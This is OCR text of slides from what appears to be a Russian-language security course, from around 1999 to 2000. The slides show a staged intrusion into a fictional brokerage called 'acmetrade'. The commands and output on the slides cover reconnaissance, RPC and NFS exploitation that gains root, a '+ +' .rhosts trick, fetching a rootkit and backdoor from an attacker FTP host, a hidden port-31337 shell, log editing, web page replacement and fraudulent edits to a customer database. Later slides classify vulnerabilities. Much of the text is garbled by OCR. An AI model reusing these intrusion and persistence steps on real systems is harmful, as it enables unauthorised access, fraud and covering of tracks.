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3 Acmetrade - Login - Microsoft Internet Explorer - [Working Offline]

J File Edit View Favorites Tools Help
J GBack v = - (D 7at l ‘Qsearch [ijFavorites £ §History | B-S - =
} Address I C:\homelcroulandinewiSuretrade - Login.htm I né’ Go

CAOMETRADECOM

—
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etwork Solutions - Domain Name Registration Services from the dot com people - Microsoft Interne... [lj[=]

J File Edt View Go Favorites Help

|

J¢.®.@@’@@€3@ o &
Back Forward Stop Refresh  Home Search Favortes  History  Channels | Fullscreen  Mail

J Address I@ http: / A network solutions. com/

=] || Links

NETWORK SOLUTIONS’
the dot com people-

NiIC

enter 3 name, word or phrase

Need Help
to Start?
Click here

G0y

click GO!

Search for 3 Web Address (domain name) with no obligation!

' ot com directory™
The Web's definitive Find-

sl %

It engine. Tryit!

© WHOIS Search

: Ly

Important Customer
Information

Network Solutions now requires
prepayment for Web Address
(domain name) registrations.
o Read more about it.

¥ Tune Up Your Web Site

Company Information
o

Critical maintenance services
and enhancement tools to keep
your Wifeb site performing at
optimum levels.

Get More Visitors to
Your Site g
Use dot com promotions™ to

attract, monitor, and

communicate with your Web site

visitors.
Network Solutions,
. Department of (O Wear Your Web b
Commerce and ICANN Address

reach long-term
agreements. Read the

press release.

Promote your Web Address with
personalized dot com gear™
sportanear.

[BE DIRECT]

Internet Starter Kit

Get 3 Wieb Addre ss, e-mail,

and a one-page Wb site — -

our all-in-one paclage.
Increase Web Site
Traffic
The RealNames™ senvice
improves the visibility of your
company's Web site in search
results.

Manage Your Internet
Business

The dot com toolkit™ will help
you establish, manage, and grow
your business on the Internet.

Join Our Affiliate
Program

Sell ourservices and earn money
just by adding a link to your site.

Visit Our Resouice
Center

Articles and tips in the dot com
series on how to develop your
business on the Internet.

Home | Services | Find | Help | About Us

R egi's tera Web A ddr @SS (domain name)
[ .com =]

choose a domain

-~
—

P |
=

] ] ] Inh:met ZNhe

N




Web Interface to Whois - Microsoft Internet Explorer =]
j File Edt Yiew Go Favortes Help |

]*.*.@ﬁ‘@@@@@

Back Forward Stop FRefresh  Home Search  Favortes  History  Channels | Fullscreen  Mail

JAddress I@ http: /v network solutions. com/cgi-bin/whois/whois/ ZI “ Links

-~
—

NETWOR'K'NSOLUT|ONS. Home | Services | Find | Help | About Us

dot com people”

9 Web Interface to Whois *“;;,1,,, |

cy
click now

The Data in Network Solutions' WHOIS database is provided by Network Solutions for information
purposes, and to assist persons in obtaining information about or related to a domain name registration
record. Network Solutions does not guarantee its accuracy. By submitting a WHOIS query, you agree
that you will use this Data only for lawful purposes and that, under no circumstances will you use this
Data to: (1) allow, enable, or othenvise support the transmission of mass unsolicited, commercial
adverising or solicitations via email (spam); or (2) enable high volume, automated, electronic
processes that apply to Network Solutions (or its systems). Network Solutions reserves the right to modify
these terms at any time. By submitting this queny, you agree to abide by this policy.

Search for a Web address, NIC handle, host IP, or lasthame, firsthame:

ACMETRADE.COM  ((SEAREHD)

To use Whois, simply type in your search string (i.e.example.com or smith, john).
Please note that requests like "www.example.com” will not yield a correct
answer; Whois can query only for second-level domain names.

The default action for Whois, unless directed otherwise with a keyword (e.q.
"domain root"), is to do a very broad search, looking for matches in many fields:
handle, name, or hostname and finding all record types.

Whois then shows the results in one of two ways: as a full, detailed display for a
single match (with possible subdisplay), or as one- or two-line summaries for
multiple matches.

v
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&1 [ [T 1 & Intemet z0ne 7

y (=t 4 =z 1 1} residamn’ T vy




J File Edit View Go Favortes Help

J &
Back

-

Earward Stop Refresh ~ Home Search  Favorites Hiory Channels | Fullscreen

N
. Q9 B 4@ | @ 6 @ ¥ | H R

M ail

J Address

@ http://www.networksolutions.com/cgi-bin/whois/whois/?STRING=acmetrade.com

E

| Links

|}

Web Interface to Whois s |

Registrant:

Acmetrade.com, Inc. ACMETRADE-DOM)
6600 Peachtree Dunwoody Road
Atlanta, GA 30338

Domain Name: ACMETRADE .COM

Administrative Contact:
Vaughn, Danon §£S2394) dvaughn@ACMETRADE.COM
(678)443-6000 (FAX) (678) 443-6476

Technical Contact, Zone Contact:
Bergman, Bret ET2324) bbergman@ACMETRADE.COM
(678)443-6100 (FAX) (678) 443-6208

Billing Contact:
Fields, Hope ET3427) hfields@ACMETRADE.COM
(678)443-6101 (FAX) (678) 443-6401

Record Last updated on 27-Jul-99.
Record created on 06-Mar-98.

Database last updated on 4-0Oct-99 09:09:01 EDT

Domain servers in listed order:

dns.acmetrade.com 208.21.2.67
www.acmetrade.com 208.21.2.10
wwwl.acmetrade.com 208.21.2.12
wWww2 .acmetrade.com 208.21.2.103

Al

l_ [_ l_ I-@ Internet zone
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"% Komananas crpoka - nslookup

Z:\>nslookup
DNS request timed out.
timeout was 2 seconds.
»¥x Can’t find server name for address 127.0.0.1: Timed out
»¥x Default servers are not available
Default Server: UnKnown
Address: 127.0.0.1

> server 194.226.94.9
DNS request timed out.

timeout was 2 seconds.
Default Server: [194.226.94.91
Address: 194.226.94.9

? -




Pﬁ?,- KomangHaa crpoka - nslookup

> server 194.226.94.9
DNS request timed out.

timeout was 2 seconds.
Default Server: [194.226.94.91
Address: 194.226.94.9

> 1s —d infosec.ru

[[194.226.94.

infosec.ru.
081702 28800

infosec.ru.

infosec.ru.

infosec.ru.

infosec.ru.
pr

mail

un

un

wuw

wwwl

ftpl

infosec.ru.
?81702 p4:1:4010}

211
7200 604800 86400

SOA
NS

7200 604800 86400

CNAME
A

MX

A

ns.rfnet.ru hostmaster.ns.rfnet.ru.

ns.icn.gov.ru
ns.rfnet.ru

10 pr.infosec.ru
20 relay.rfnet.ru
194.135.141 .98
un.infosec.ru
194.135.141 .99

10 un.infosec.ru
194.154.77.109
un.infosec.ru
un.infosec.ru
ns.rfnet.ru hostmaster.ns.rfnet.ru.

<1999

(1999




. Nmap Free Security Scanner

Sl Network-wide ping sweep, portscan, OS Detection

I.F A
Shadow Scan.Ink

[hacker@linux131 hacker]$ nmap 200.0.0.143

Starting nmap V. 2.53 by fyodor@insecure.org (
www.insecure.org/nmap/ )

Interesting ports on (200.0.0.143):

(The 1516 ports scanned but not shown below are in state: closed)
Port  State  Service

21/tecp open ftp

25/tcp open smtp

80/tcp open http

135/tcp open loc-srv

139/tcp open netbios-ssn

443/tcp open https

465/tcp open smtps

Nmap run completed -- 1 IP address (1 host up) scanned in 1 second



hacker: /export/home/hacker> ./rpcscan dns.acmetrade.com cmsd

Scanning dns.acmetrade.com for program 100068
cmsd is on port 33505

hacker: /export/home/hacker>



File

!
Back

:08:

| Adx

[/BSD
|"ESDi

[N etBSD
|||'FreeBSD
[|/OpenBSD
[ Dg-Ux

[ Hp-Ux

|/ Trix

| Limax

||/ SusSE
||'Debian
||'Redhat

|||/ Slackwrate
'Opentinux
|| Misc

|Bca
[/‘Solatis
[/BunOS

[/ Titrix

ADMmountd.tez
tpe-cmsd.c
fakenwalld.c

humpdee2 toz

Isxtgz
nfsd.c

nisd.c
pmap toolstgz
tpe-cmsd.c

tpettdbserver
stdz.c

wallflash.c




v

Favorites  Help

Stop Refresh | Home Search Favortes  History  Channels

BSD
NetBSD
reeBml)
D

ﬁEj]ﬁE;}EEkcaza

crsd warez

www hackcn'zq daemon:
Pine
SeH

executes /tmp/
gee -0 © ¢.c¢ —-lrpesve -lnsl -l1lsocket
..053's Affected..

(Solaris 7/SPARC)
(Solaris 7/x86)

=1

Fullscreen Mail

NIS
LPD
News

Fingerd

Chargen

*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*
*

%
Y

(Solaris
(Solaris
(Solaris
(Solaris
(Solaris
(Solaris
(SunO3 4.
(Solaris

N o= NN MNN NN

.6)
.5.1)

.5.1_x86)

.5)

.5_x86)

.3)

.3/4.1.3C/4.1.3 U1/4.1.4)
.6/ SPARC)

Sendmail

#include
#include
#include
#include
#include

T

<stdio.h>
<stdlib.h>
<rpc/rpe.h>
<netdb. h>
<arpa/inet.h>

Internet zone




hacker:/export/home/hacker id

>
uid=1002 (hacker)

gid=10(staff)

hacker:/export/home/hacker  uname

> -a

SunOS evil.hacker.com 5.6 Generic 105181-05 sun4u sparc

SUNW,UltraSPARC-IIi-Engine
hacker:/export/home/hacker ./cmsd

> dns.acmetrade.com
using source port 53

rtable create worked

Exploit successful. Portshell created on port
33505
hacker:/export/home/hacker telnet dns.acmetrade.com

> 33505
Trying 208.21.2.67...

Connected to
dns.acmetrade.com.

Escape character is '"]'.
1d

uid=0 (root)

1d=0 (root)
uname

-a
SunOS dns 5.5.1 Generic 103640-24 sundm sparc
iUNW,SPARCstation—S



# nslooku

De?ault Server:
dns.acmetrade.com
Address: 208.21.2.067

> 1s

(eSS ES £ o]
wWww.acmetrade.com
wwwl.acmetrade.com
wwwZ2 .acmetrade.com
margin.acmetrade.com

marketorder.acmetrade.com

deriv.acmetrade.com
derivl.acmetrade.com
bond.acmetrade.com
ibd.acmetrade.com

fideriv.acmetrade.com
backoffice.acmetrade.com

wiley.acmetrade.com
bugs.acmetrade.com
fw.acmetrade.com
fwl.acmetrade.com

Received 15

records.
> D

id

208
208
208

208
208
208

208

208

208
208

208.21.2.

.21.2.12
.21.2.103
.21.4.10

208.21.2.

.21.2.25
.21.2.13
.21.2.33

208.21.2.

.21.4.42

208.21.4.

.21.2.29
.21.2.89
.21.2.94

208.21.2.

10

62

277

45

21



# rpcinfo -p www.acmetrade.com | grep
1005885 1 uap 643

mountd

#Ogggamoun% —eth 647
mo%%%d me rade.com
export % ¥

metrade.com:
usr?focaf server?2, server3, serverd

/export/home sunspot

# rpcinfo -p wwwl.acmetrade.com | grep
1008885 1 uap 643

mountd

#Osgowmoun% _etCP o
moun

JQpa] - acmetrage, cop

/a engineering

/b engineering

/c engineering

/export/home (everyone)

#



%Welcome to Rootshell | Hosted by connectnet.com - Netscape

File Edit “iew Go Communicator Help
b v P =

v » A D 2 £ 5 & @
i Back Foward Reload Home Search Guide Print  Security  Stop
- :] .,,& " Bookmarks A‘ Location: Ihttp:/a"www.rootshell.comﬁbeta/news. html

Itch to be rich? iludlli

{3

Do you have security related news? Please e-mail it to news@rootshell com.

00% of Windows NT IIS Webservers Vulnerable
o/15/9% 2:13FPM PDT

eEye - Digital Security Team has found a buffer overflow in 1154 allowing remote users to execute arbitrary
code on IIS webservers.

+ eeye.com - Press Release

+ eeye.com - Actual adwisory

+ eeye.com - W orking exploit code allowing you to run abntrary code.

www.bnl.gov defaced
6:2/99 3:10FPM FDT

The Brookhaven National Laboratory website was defaced today in response to the FBI crackdown and

the crackers who are defacing government sites. (They were nice enough to list us in the greets.)

+ rootshell com - archive of site

+ bl gov website

AntiOnline victim of Do§ attack |
7

|Document: Done



%Wclcome to Rootshell | Hosted by connectnet.com - Netscape
File Edit Yiew Go Communicator Help

7 - = 3 =
< o 3 D 2 £ I & #
Back Fomward Reload Home Search Guide Print  Securty  Siop

j J " Bookmarks A Location:Ihttp:ff'www.rootshell.comx’search.fcg

Connect from dhepl78-245 1ss.net [208.27.178.245] (Mozilla/4.05 [en] (WinNT, D)logged.

Rootshell search results
)21’ 10/99 ]netstation.m l]:BM Network Station 300s exports /tmp to the world via NFS.

w0 mscan 1.0 - Scans multiple hosts for many different vulnerabilities. (statd, nfs,
_search (O 6124198 scan e cgi, X11, named, pop3, and IRTX defaults)

. ]31’161’98 ‘snfs-linuxtgg [Linux 2.1.xx port of the snfs.tgz package, source routed NFS.

!6:’ 11/97 (nfstrau:eltgg |This nfstrace package lets you to perform NFES tracing by network monitoring,
{4;’ 13/97 [nfswatch-’-l. 1.tar.Z {This lets you monitor NES requests to any given machine or the entire network.
[31'201’9? (gcnfsd.c (A.llows local users to chmod arbitrary directories on hosts running penfsd.

llf 13/97 1nfsshe11. c IThis should be very useful if you have located an insecure NFS server.

nfsshell.c

’8!26:’96 ]nfsbug. c ]Demonstates a secunty problem i unfsd guessing the file handle of the root FS.

8/26/96 INF Sproblems.txt Z}:;:;:Ssome potential problems with Linux in nfsd concerning read-only

5113196 ot tar. Eaxr}:g;tss a bug in HP-UX 9 rpc.mountd program and gives you NES file

Found 10 matching exploits.

|Document: Done



# nfsshell

nfs> host wwwl.acmetrade.com
Open wwwl.acmetrade.com[208.21.1.12] (mountd) using UDP/IP
nfs> export

Export list for wwwl.acmetrade.com:

/datal server?2
/a engineering
/b engineering
/c engineering
/export/home (everyone)

nfs> mount /export/home
Mount wwwl.acmetrade.com[208.21.2.12]:/export/home

- protocol: UDP/IP
- transfer size: 8192 bytes

nfs> 1s
bill

bob
celeste
chuck
dan

dave
jenn
zack

nfs> 1s -1 bob
drwxr-xr-x 2 201 1 1024 May 4 1999 bob

nfs> cd bob
nfs> uid 201

nfs> gid 1



nfs> status

User id : 201

Group id 1

Remote host : ‘wwwl.acmetrade.com’
Mount path : ‘/export/home’

Transfer size: 8192
nfs> I'sh

$ echo "+ +" > .rhosts

S exit

nfs> put .rhosts

nfs> cat .rhosts

+ +

nfs> exit

# rlogin -1 bob wwwl.acmetrade.com

Last login: Wed Mar 3 10:46:52 from somebox
wwwl% whoami

bob

wwwl% pwd

/export/home/bob

wwwl% cat .rhosts

+ +
wwwl% uname

.internal.acmetrade.com

Sun0S @wwl .acmetrade.com 5.5.1 Generic_103640—24 sun4dd

SUNW, SPARCserver-1000
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Last modified: Monday, 27-Sep-1999 04.20:21 PDT

Nmap Free Security Scanner
, " Network-wide ping sweep, portscan, OS Detection
Mo~ Audit your network security before the bad guys do

Nmap stealth port

scanner
*Intro Featured News

New
.ggﬂ#ﬁﬁc Nmap 2. 3BETAS security scanner is now available! I Added sophisticated timing
Emﬂ d control so that you can speed up for an aggresgive scan, §10W down for a polite
_xp—°lvﬁcro Soft scan, or slow W{&Y down tg pass under intrusion dgtecnon system thre.shholds.
S Many OF detection fingerprints were added, and Window ACK scanning was
*Solaris implemented (Lamont's patch).

*hfore

News
ol reading Just when you had almost lost hope ... a new issue of Phrack, the scene's oldest
Links and most respected hacker zine 1s out! You can download the entire tarball here, or
ARt you can browse the articles online below.

Contact

Credits As usual, this 1ssue contains many fine articles. Here are our favorites:

Win32 Buffer Overflows {Location, Exploitation and FPrevention) by dark
spyrt AK A Barnaby Jack -- The author of the recent eEye IIS hole takes us on

another journey into Windows buffer overflows. He demonstrate s methods for
reverse-engineenng using Interactive Disassembler by exposing an overflow
vulnerability in the latest version of Seattle Labs mail server (3.2.3113). Next he
describes and presents some ternfic Windows shellcode for opening up a remote
shell. Finally he details a way to patch the SLIail binary to prevent these
(particular) overflows. (Requires X86 assembly knowledge).

||
N
&] L1 @ Intemet zone Y '\\_



& Exploit world -- Sun Solaris SPARC or X86 section - Microsoft Internet Explorer

Favortes  Help E
@ B & QA G I ¥ o &

Stop Refresh  Home Search  Favorites Hi:s:—fjl:nr_-,I Channels | Fullscreen  Mail

xploit & full

Solaris /bin/eject Buffer

Solaris fbinfeject takes a device name (floppy, etc) for argv[2] which can be
overflowed wa standard techniques.

Cristian SCHIPOR. (skipo@SUNDY.CS PUB. RO)

TOOL (ocal)
Unpatched Solaris 2.4, 2.5

13 March 1996

Available here

& Internet zone




wwwl3s 1s -la

/usr/bin/eject .
-r—-sr—-xXr—-x 1 root bin 13144 Jul 15

/usr/bin/eject*
Wwwl%

wwwl® gcc —-o eject overflow

eject overflow.c
wwwls .;ejeét_overflo

W
Jumping to address Oxeffff630 B[364] E[400]

SO[400]
whoam

1
root

# ftp
Corflgidtdpaker . com

eyDlehaCkBEcRER: com FTP server (HackerOS)

dy.
ﬁg%ey hacke

ievibaBanked. eeuieel) for hacKer.

Password eyelOwn
530 User hacker logged
RBmote system type is

@giﬁg binary mode to transfer
files.

1997



ftp> cd
solaris backdoors
250 CWD command
successful.
ftp> get
solaris backdoor.tar.gz
200 PORT command
successful.
150 Binary data connection for out
3.1.33.7,1152).
226 Transfer
complete.
152323 bytes sent in 31.942233 secs
(4.7Kbytes/sec)
ftp> quit

# cd /tmp/my tools

# gunzip
module backdoor.tar.gz
# tar -xf

module backdoor.tar



# cd

u .O%Qgﬁ%%ﬁﬁpols/module_backdoor

e . . . . :
Enter directories and filenames to hide from 1ls, find,
Bnter class C network to hide from
Hatsetaprocess names to hide from ps and

cEgEting
config.h...
# make

gcc —-c backdoor.c
gcc —-o installer
installer.c

ld.—-o backdoor -r

%a%ﬁdoor.o

Makefile
backdoor
backdoor.c
backdoor.o
config.h
configure
installer
installer.

c
# modload

backdoor
# ./installer -d

/usr/local/share/...

Adding directory...
Fixing last modified
time. ..

Fixing last accessed
time. ..

3.1.33.
0 sniffe
r

backdoor



# 1s -la
.. /usgslogat/ghazels - -
glr??ggggaller backdoor

/usr/local/share/.../backdoor
Installing file...

Fixing last modified
time. ..
Fixing last accessed

gimgshoe "/usr/sbin/modload /usr/local/share/.../backdoor"
4 éé/etc/init.d/utmpd

# rm -rf
n ngule_backdoor

inetd backdoor
/
logedit

sniffer ,
# ./installer sniffer

In5PS111RGA 4 §Raze/ - - - /sniffer

Fixing last modified

time. ..

giﬁ%ng last accessed

€] c .. .
/é?%ﬁf&é&?ﬁéﬁé@@;?/:/sﬁf@%gﬁ?rNo such file or
%i%%ftory

4 /psxi{tpeplSshare/ . ..

# %s -aef | grep
n sniffer



# netsta

TCH
Local Address Remote Address Swind Send-Q Rwind Recv-0Q
State

208.21.2.10.1023 208.21.0.19.2049 8760 0 8760 048
ESTABLISHED
ﬁ0§d21.2.10.1022 208.21.0.19.2049 8760 0 8760 0
Sfﬁ@ﬁf@ﬁEﬁOOlS
Og 21.2.10.2049 208.21.0.13.1003 8760 0 8760 0

gsTRELfsRafkdoor

config.h
configure
inetd.c
installer.

¥ ./configur

Enter port for hidden 31337

ekeating

config.h...

creating

fiaBéEf1e. . .

gcc -s  -DSYSV=4 -D svr4  -DSOLARIS -o inetd inetd.c -1lnsl -lsocket
—lresolv

g staller installer.c
1nsta er inet

Inéggfffg&n£%fetd
Fixing last modified
time. ..



# ps —aef | grep

rodt?etd 79 1 0 May 10 2 1:26 /usr/sbin/inetd
FSkill -9

# V{3 r/sbin/inetd -s

# gxit

Connection closed by foreign

Hgéﬁer:/export/home/hacker telnet wwwl.acmetrade.com

Prying 208.21.2.12... 31337
Escape character 1is

l/\:||

Granting
rootshell. ..
# hostnam

wwwl
# whoami

root

#



hacker:/export/home/hacker
Sonnected to wwwl

220 wwwl.acmetrade.com FTP service

%aﬁé: root

wwwl.acmetrade.com

331 Password required for
BQ8Eword: HHkkkxx

Remote system type is

ngxUser root logged in.
ftp> cd /usr/local/httpd

ftp> dir

200 PORT command successful.

150 Opening ASCII mode data connection for /bin/ls.

total 10

—rWXr—Xr-x 9
—rWXr—-xXr-x 9
—rWXr—Xr-x %
—rWXr—-xXr-x %
—rWXr—Xr-x %
—rWXr—-x--x o

—TWXY—-Xr—X 2

root
root
WWW
WWW
WWW
WWW

AA

other
other
WWW
WWW
WWW
WWW

AA

1024
1024
2034
1244
1024

8777
1314

(Version

Aug
Aug
Aug
Aug
Aug
Aug
Aug

17
17
17
17
17
17
17

17:
17:
17:
17:
:07
17:
17:

17

07
07
07
07

07
07

226 Transfer complete. bytes received in 0.82 seconds

ftp> put backdoor.html
200 PORTUEEHRGA® .html

$9B8cepering BINARY mode data connection for

238eXranmfer
coppletd

index.html
securelogin.html
imageZ.gif
title.gif
frontpage.jpg
(0.76 Kbytes/sec)



# rpcinfo -p backoffice.acmetrade.com

program vers proto port service
100000 4 tcp 111 rpcbind
100000 3 tcp 111 rpcbind
100000 2 tcp 111 rpcbind
100000 4 udp 111 rpcbind
100000 3 udp 111 rpcbind
100000 2 udp 111 rpcbind
100004 2 udp 753 ypserv
100004 1 udp 753 ypserv
100004 1 tcp 754 ypserv
100004 2 tcp 32771 ypserv
1073741824 2 udp 32772
100007 3 udp 32779 ypbind
100007 2 udp 32779 ypbind
100007 1 udp 32779 ypbind
100007 3 tcp 32772 ypbind
100007 2 tcp 32772 ypbind
100007 1 tcp 32772 ypbind
100011 1 udp 32781 rquotad
100068 2 udp 32783
100068 3 udp 32783
100068 4 udp 32783
100068 5 udp 32783
100024 1 udp 32784 status
100024 1 tcp 32777 status
100021 1 udp 4045 nlockmgr
100021 2 udp 4045 nlockmgr



100021 3 udp 4045 nlockmgr
100021 4 udp 4045 nlockmgr
100021 1 tcp 4045 nlockmgr
100021 2 tcp 4045 nlockmgr
100021 3 tcp 4045 nlockmgr
100021 4 tcp 4045 nlockmgr
100005 1 udp 33184 mountd
100005 2 udp 33184 mountd
100005 3 udp 33184 mountd
100005 1 tcp 32787 mountd
100005 2 tcp 32787 mountd
100005 3 tcp 32787 mountd
100083 1 tcp 32773

100003 2 udp 2049 nfs
100003 3 udp 2049 nfs
100227 2 udp 2049 nfs acl
100227 3 udp 2049 nfs acl
100003 2 tcp 2049 nfs
100003 3 tcp 2049 nfs
100227 2 tcp 2049 nfs acl
100227 3 tcp 2049 nfs acl

# grep ttdbserverd
1006%§9419Ffdr58?§cp walit root /usr/dt/bin/rpc.ttdbserverd rpc.ttdbserverd

# rpcinfo -p backoffice.acmetrade.com | grep
100688083 1 tcp
§2773

cd

/tmp/mytools/warez



# ./ttt
backoffice.acmetrade.com

Please wait for your root shell.

# hostnam

bakoffic

¥ whoam

ro%t

# find / -type f -name .rhosts
/. TRE4BE
/export/home/chuck/.rhost

S

/export/home/bill/.rhosts

/export/home/larry/.rhost
cat

fide¥h¢Stémetrade root
ibd.acmetrade root
bugs.acmetrade root
# ow

10:20pm  up 13:15, 1 user, load average:
0.03
User tty login@
root console 9:27am
4Sp%ﬁé§ﬁytools/logedit root
%O§ES/5 pts/5 9:24pm

sbin/sh
10:20pm  up 13:15, 1 user, load average:
0.03
User tty logind

root console 9:27am

147:52 14:41

147:52 14:41

0.

0

PCPU
14:14

.01, O.

PCPU
14:14

.02,

what

02,

what



# sqglplus oracle/oracle

SQL> describe customers

Name Null? Type

LNAME NOT NULL VARCHARZ2 (20)
FNAME NOT NULL VARCHARZ2 (15)
ADDR1 NOT NULL VARCHARZ (30)
AN NOT NULL NUMBER (5)

PHONE NOT NULL CHAR(12)
ACCOUNT NUM NOT NULL NUMBER(12)
BALANCE NOT NULL NUMBER(12)

MARGIN LIMIT NOT NULL NUMBER(12)

ACCT_OPEN NOT NULL DATE
SQL>
select LNAME, FNAME, ACCOUNT NUM, MARGIN LIMIT from customers where LNAME = 'Gerulski';
LNAME FNAME ACCOUNT NUM MARGIN LIMIT
Gerulski David 5820981 50000.00
SQL> ypdate customers set MARGIN LIMIT = 500000.00 where LNAME = 'Gerulski';
SQL> select LNAME, MARGIN LIMIT from customers where LNAME = 'Gerulski';
LNAME MARGIN_LIMIT
Gerulski 500000.00

SQL> exit



3 SURETRADE.COM - Investors - Microsoft Internet Explorer - [Working Offline]

J File Edit View Favorites Tools Help
J FBack v = - @ ﬁl @Search (3] Favorites @History | [%v S~

J Address http: fjwww, acmetrade.comforder.htm

f . 51 Smart Tools For Smart Investors™
v = LoG-ouT
TRADING & QUOTES « RESEARCH & CHARTS « ACCOUNT SERYICES

STOCK ORDER

Select Account: [F Lookup symbol
| Gerulski- 932383292 ¥ | or get a preliminary quote

Transaction: Shares: Symbol: Account Type: ualifiers:
I—Choose One— ~| |1EIDDIJIJ INETA Margin vl iNone 'I

Order Type: Stop Price: Limit Price: —Choose One —
IMarket vl I l Cash

* It is only necessary to enter a price here if you are placi Short p/limit arder.

When you click "Send Order" you'll be given a real-time quote and will be Send Order
required to enter your Trading Password in order to complete the trade.

<: >PAGE HELP

POSITIONS BALANCES | "ORDER STATUS ACCT. HISTORY EXECUTIONS TRADING CHARTS €

|| 4 mnternet
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Server
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e, [«

DNS
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2 YTpO3bl, YI3BUMOCTU U aTakn

L 2

X ygposa - [IomeHyua/ibHO BO3SMO>XHOE cobbimue,
‘AB/IeHuUe usiu rnpoyecc, Komopoe Bo3oelicmasys

Ha KOMIMOHEHMbI UHGhOPMAYUOHHOU cucmemsbl
MOXem rpusecmu K HaHECEHU!o yujepoba.

® Yaszsumocms - 1106as xapakmepucmuka uau
cBolicmBO UHhopmMayUuoHHOU cucmemsl,
UCMo/Ib30BaHUe Komopou Hapywumesiem
MOXKem npusecmu K peasiu3ayuu y2po3sbil.

Amaka - oelicmsue Hapywumesisi, KOmopoe

fpuBOOUM K peasiu3ayuu yepo3bl mymem
UCrnosIb308aHuUs ysi3sumMocmel

UHGhopmMayuoHHoOU cucmemsil.

Cnawnp 43
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v

Knaccudukauums
YA3BUMOCTEWN
y350B, MNPOTOKOJIOB
n cnyxo IP - ceTem



__aw Knaccudmkaums no ypoBHIo
L B MH(POPMaLMOHHOIA
b2 NHPppPaACTPYKTYypE

1 YposeHb nepcoHasia

| ¥YposeHsb ripusioxeHuu

| YposeHb 6a3 0aHHbIX

| YposeHb onepayuoHHoUl cucmemsl
| YposeHb cemu
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3

o ¢ Knaccudmkauma yasBuMocTen
?i‘ Mo NPUYMHAM BO3HUKHOBEHUS

| owubku npoekmupoBaHus
(mexHos102ul, rMPoOMmMoKo/108, C/1yX06)

owubku peasuzayuu (npozspamm)

v
owubKU 3Kcn/lyamayuu

| (Hernpasu/ibHasi HacmMpouKa,
Heucrio/ib3yeMble cemesble C/1yXKObl,
c/1abble naposiu)

Cnawunpg 46 HAYYHO-UH)XXEHEPHOE “[TPEANPUATUE



Knaccudwmkaunsa yasBumocTten
‘MO YPOBHIO (CTerneHu) pucka

YPOBEHb PUCKA

Ysizsumocmu, no3soJsisirnujue amaxkyrowemy
rnoJsiydums HernocpeocmaseHHbIlU docmyn y y3/y ¢
npasamMu cyreprnosib3os8ame/is

v
v

CpedHUL ypoBEHb puCKa

Hu3skul yposeHb pucka p—

ya3sumocmu, no3sosisrowjue 3/10yMbIW/1€HHUKY

ocyujecmssiimb c60p Kpumu4Holi UH¢hopmayuu
o cucmeme

Cnanp 47 HAYYHO-MHXXEHEPHOE “[IPEAMNPUSTVE



NCcTOUYHMKN nHpopmaLnin

N{* O HOBbIX YA3BUMOCTSAX
-
Wwvucert.org - KOOanHaL{UOHHbIlj qump
CERT/CC

WWW.ISS.net/xforce - 6a3a 0aHHbIX KoOMraHuu ISS
linl.ciac.gov -~ uyeHmp CIAC

www.cert.ru - poccuuckuu CERT/CC

www.securityfocus.com



- www.Iss.net/xforce

’3 Internet Security Systems, Inc. : X-Force - Microsoft Internet Explorer
] File Edit “iew Favortes Tools Help
" : = =
R S < W A L &3 | &
Back Forward Stop  Refresh Home Search Favorites  History Print Edit Discuss

J'A_c_ldress IE http: //#force.iss.net/

lNTERNET
SECURITY X-Force

SYSTEMS keywmd I Advanced Search

X-Force

THE WORLD'S #1 RESOURCE FOR
y COMPUTER THREATS & VULNERABILITY

[J Serious Fun

O Mail Lists ;

O Protowort

g Submissions * Buffer Overflow in Microsoft ¥Windows NT 4.0 and ¥Windows 2000
Sl Metwork Monitor - (November 1, 2000)

search by:
| Platform

EI Serious flaw in Microsoft IS UNICODE translation - (October 26,
2000)

sort by: *® “Yulnerability in the Oracle Listener Program - {October 25,

[Vulnerability Name ¥} 2000)

display: * Widespread incidents of SubSeven DEFCOMNS 2.1 Backdoor -
el (October 8, 2000)

IA" Mt ZI ® |Insecure call of external programs in Red Hat Linux tmpwatch -

display results: {October 6, 2000)

|In increments waZI * GNU Groff utilities read untrusted commands from current
waorking directory - ({October 4, 2000)

Search Dotobase ® Multiple vulnerabilities on all platforms and versions of Check Ll

Mlmnd Cluebfdall 4 L PR SR SEPE L b a Fa Fa Fal |

|| |4 Intemet




Mpumepbl YA3BUMOCTEN

ip-fragment-reassembly-dos

OnwucaHlue: roceirika 6orbuo20 Yucria 0OUHaKo8bIX
ppaameHmos IP-Oamazpammsi rnpusooum K HedocmyrnHocmu
y3r1a Ha 8peMs amaku

YpOBEHbL: CEeTb

CTeneHb puUcKa: cpegHsAs w

NCTOYHUK BO3ZHUMKHOBEHUS: OLUMOKU peann3aunm




- Mpumepbl ysisBUMOCTEN

HUe: nt-getadmin-present

Oriviéénue: npobriema oOHouU u3 yHKkuuu-a0pa OC Windows

NT, no3eonsrowasi 3/10yMbIUEHHUKY AOy4YuUms ripususeauu
aoMuHUcmpamopa

YpoBeHb: OC

CteneHb pucka: BbICOKas

NCTOYHUK BO3HUKHOBEHUS: OLUMOKU peann3aunm




Mpumepbl YA3BUMOCTEN

aHue: mssql-remote-access-option

)

Oonncanue: YA38UMOCIMb 8 peasiusauuu 603MOKHOCMU
MOOK/1FO4eHUS cOo cmopoHbI Opyaux SQL-cepsepos

YpoBeHb: CYB[

CteneHb pucka: HU3Kas

NCTOYHMK BOSHUKHOBEHMUSI: OLUMOKK peanusaunm




Mpumepbl YA3BUMOCTEN

?me: lis-url-extension-data-dos

OnucaHue: rocsisika bosibwo20 Yucria HeEKOPPEKMHO

TOCMPOEHHBIX 3arpocos8 rnpusodum K MO8bILUEHHOMY Pacxody
pecypcos rpoueccopa

YpoBEeHb: MNPUINOXEeHUA

CTeneHb puUcKa: cpegHsAsa w

NCTOYHUK BO3ZHUMKHOBEHUS: OLUMOKU peann3aumnm




Mpumepbl YA3BUMOCTEN

.t -‘.

—

Eme: win-udp-dos

OnMCéHMe: OC Windows 2000 u Windows 98 ysa3s8umbi kK amake

«0mkKa3s 8 0bcny»xueaHuu», 8bI3bieaeMol uc4HepraHUeM 8cex
UDP-cokemoes

YpoBEeHb: MNPUINOXEeHUA

CTeneHb puUcKa: cpegHsAsa w

NCTOYHUK BO3ZHUMKHOBEHUS: OLUMOKU peann3aumnm



Mpumepbl YA3BUMOCTEN

HUMe: win95-back-orifice

OnucaHue: y3es 3apaxeéH cepgepHOU Yacmbsio MPOSIHCKO20
KOHS, No3eofisrouiel ycmaHo8UMb MoJIHbIU KOHMPOsIb Hao
Y3/10M

YpoBeHb: [lepcoHan

CteneHb pucka: BbICOKas

